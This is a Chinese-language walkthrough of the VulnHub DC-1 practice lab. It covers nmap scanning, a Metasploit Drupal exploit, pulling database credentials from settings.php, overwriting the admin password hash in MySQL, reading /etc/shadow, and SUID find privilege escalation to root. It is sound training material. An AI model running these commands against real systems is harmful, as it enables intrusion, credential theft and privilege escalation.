靶机2 DC-1(过程超详细)

简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。

 

1、下载靶场

靶机名称:DC-1(包含5个flag)

下载地址:

DC: 1 ~ VulnHub

2、安装靶场

以DC-1为例,将文件解压(一压缩包形式进行下载)。

打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)

导入成功,开启此虚拟机( 当页面出现 DC-1 login 时表示安装成功)。

3、获取靶机的5个flag

前提:

1、已知kali的IP地址(ifconfig)

—— kali IP地址:192.168.108.129/24

2、DC-1和kali在同一网段 | 已知DC-1所在的网段

—— DC-1 IP地址:192.168.108.130/24

3.1信息收集

获取DC-1的IP地址

命令:netdiscover -r 192.168.108.129/24

由图可知DC-1的IP地址是:192.168.108.130/24

端口扫描

命令:nmap -sV -p- 192.168.108.130

//-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描

获取信息如下:

端口号

服务

版本

22

ssh

6.0

80

http

apache 2.2.22

111

rpcbind

2-4

35712

status

1

尝试直接打开端口(80、111、35712),发现只有80端口可以打开,是一个登陆界面

CMS识别(使用工具)

工具下载地址:

git clone GitHub - Tuhinshubhra/CMSeeK: CMS Detection and Exploitation suite - Scan WordPress, Joomla, Drupal and over 180 other CMSs

安装环境:

pip/pip3 install -r requirements.txt   

参考手册:https://github.com/Tuhinshubhra/CMSeeK

使用方式(交互式):

cmseek #进入交互界面

python3 cmseek.py -u http://192.168.108.130/  #设置URL地址

cat /root/Desktop/CMSeeK/Result/192.168.108.130/cms.json #查看输出的文件内容

获取到CMS使用的是Drupal

使用msf(msfconsole )工具尝试通过Drupal的漏洞getshell

命令:search drupal #查找drupal相关的模块

使用1(use 1),2018-03-28的,使用options(查看需要配置的参数)

设置hosts(IP地址)的参数,然后run

获得session,输入shell(获得交互式shell)

查看目录获取第一个flag,根据第一个flag的提示(每一个好的CMS都需要一个配置文件 - 你也需要。),后续的flag很可能是一个配置文件

提权

由于Drupal的默认配置文件为 /var/www/sites/default/settings.php

尝试读取该文件

成功获取到flag2和数据库的账号密码,根据flag2的提示我们需要继续提权(root)来访问敏感数据,也可以进行暴力破解

"""

flag2提示:

暴力和字典攻击不是获得访问权限的唯一方法(您将需要访问权限)。

您可以用这些凭证做什么?

"""

我们先进入数据库查看

这里先使用python修改一下交互的方式,看着更舒服一点(python -c 'import pty;pty.spawn("/bin/bash")')

mysql -udbuser -pR0ck3t #登录数据库

show databases; #数据库结束语带分号;

use drupaldb;

show tables;

在数据库中找到了一个名为users的表,猜测可能存在数据库用户的账号密码,查看表中使有内容

select * from users;

或者为了查看舒适,可以先查看表中字段,然后查看需要的字段

desc users; #查看users表的字段

select name,pass from users; #查询users表中的name,pass这两个字段

发现了admin(默认管理员账号),但是密码是经过加密的,可以看出明显不是正常的md5加密方式,这里查看Drupal存储的加密格式。在drupal的官网上找到了druple的加密脚本位置./script/password-hash.sh(后者推出数据库之后使用find函数查找password-hash.sh文件)

因为无法破解,所有只能将密码更新为我们自己设置的密码,所以之后的思路就是直接使用这个脚本进行加密,这里使用我们设置密码为666666,使用该脚本对666666进行加密。

注意:因为发现文件位置/var/www/scripts/password-hash.sh,所以到scripts文件进行调用,但是此处调用不成功,回到www目录下,然后使用scripts/password-hash.sh进行调用之后发现加密成功

执行:scripts/password-hash.sh 666666

password: 666666                hash: $S$DVij9pvxENxl/jqEI6/djAN6zvbsQtWC.0ZlAiUoHiX4RaBpEAjp

回到数据库中,将加密之后的密码(原:666666)替换掉admin账号原来的密码(使用下面uid=1或者name="admin"都行)

update users set pass='$S$DVij9pvxENxl/jqEI6/djAN6zvbsQtWC.0ZlAiUoHiX4RaBpEAjp' where uid = 1;

update users set pass='$S$DVij9pvxENxl/jqEI6/djAN6zvbsQtWC.0ZlAiUoHiX4RaBpEAjp' where name = "admin";

在浏览器登录页面输入用户名:admin,密码:666666,成功登录

寻找发现flag3

flag3的提示:特殊的PERMS将帮助找到passwd - 但你需要 -exec 执行该命令来弄清楚如何获得阴影中的内容。

说实话这一步的提示没看懂(纯蒙的,看见了passwd的字样,就直接去看了/etc/shadow和/etc/passwd)

进入该用户(flag4)的家目录,查看家目录下的文件,找到了flag4.txt,从而发现了flag4

flag4的提示:您可以使用相同的方法在 root 中查找或访问标志吗?可能。但也许这并不容易。 或者也许是?

结合flag3的提示中的关键信息 -exec,猜测应该是提权的关键

find / -perm -4000 2>/dev/null #寻找有SUID权限(4000的文件,不显示其他的错误信息相当于过滤。

指令分析:

-perm

作用:匹配匹配权限

4000 ——> SUID 程序执行时,如果该程序有SUID权限,会变成程序文件的属主,一般来说进程的属主是由进程的发起者来发起的,并不是程序文件的属主

2000 ——> SGID 在程序执行时,组身份会发生改变,从用户运行变成所属组运行。(当用户无法执行文件时,如果该程序有SGID权限,那么可以将用户的身份升级为该可执行该程序文件的属组

1000 ——> SBIT 当程序设定了SBIT权限属组内的每个用户或者其他所有用户,只能创建文件和删除自己的文件,不能删除其他用户的文件。

2>/dev/null

作用:不显示其他的错误信息相当于过滤

这句话说的是将错误输出(stderr)到黑洞(bit bucket)

首先默认情况下>/dev/null1,也就是标准输出(stdout)

黑洞(bit bucket)简单来讲就是垃圾桶,你可以通过设定规则将你不想要的信息丢进去。

标准输出(stdout)I是Input的意思,从外部设备输入到内存,当你执行由一个命令来打开标准文件的时候,如果文件被执行那么就会获得一个标准输出的文件结果。(即程序运行的结果)

标准错误(stderr)O是Out的意思,从内存输出到外部设备,当你执行由一个命令来打开标准文件的时候,如果文件被不执行就会出现一个标准错误的错误文件。(即错误信息的文件)

所以">", 即等于"1>", 标准输出

当你不想看到错误的信息时, 你可以使用"2> /dev/null", 来隐藏一个命令的错误信息,将它丢进黑洞。

SUID提权原理总结:

  1. 查看当前具有suid权限用户,再利用具有suid权限用户命令去执行我们想要执行的命令
  2. 简而言之就是查找具有特定suid权限的参数,再利用参数进行提权命令调用

补充:

  1. SUID是一种对二进制程序进行设置特殊权限,可以让二进制程序执行者临时拥有属主的权限,若是对一些特殊命令设置了SUID,那么将会有被提权的风险
  2. 常用的SUID提权命令有:nmap、vim、find、bash、more、less、nano、cp等。

指令分析:

ls -al  /usr/bin/find   #  查看 find 命令权限,/usr/bin/find是find的默认位置

-rwsr-xr-x 1 root root 162424 Jan  6  2012 /usr/bin/find # 有 s 表示可以提权

进行提权

find / -name 666 -exec "/bin/sh" \; #利用/bin/sh命令到达root的shell交互,exec是直接用新的进程代替原来的程序运行,运行完毕之后不回到原先的程序中去

提取成功之后去root家目录找一下敏感文件,在root的家目录找到一个名为thefinalflag.txt的文件,打开发现获取到了flag5

补充一点为什么不在80端口的登陆界面直接sqlmap一把梭哈,原因是尝试过了梭哈,在不使用脚本的情况下sqlmap是跑不出来的,这个靶机主要考点不在sql注入方面

  • 1
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值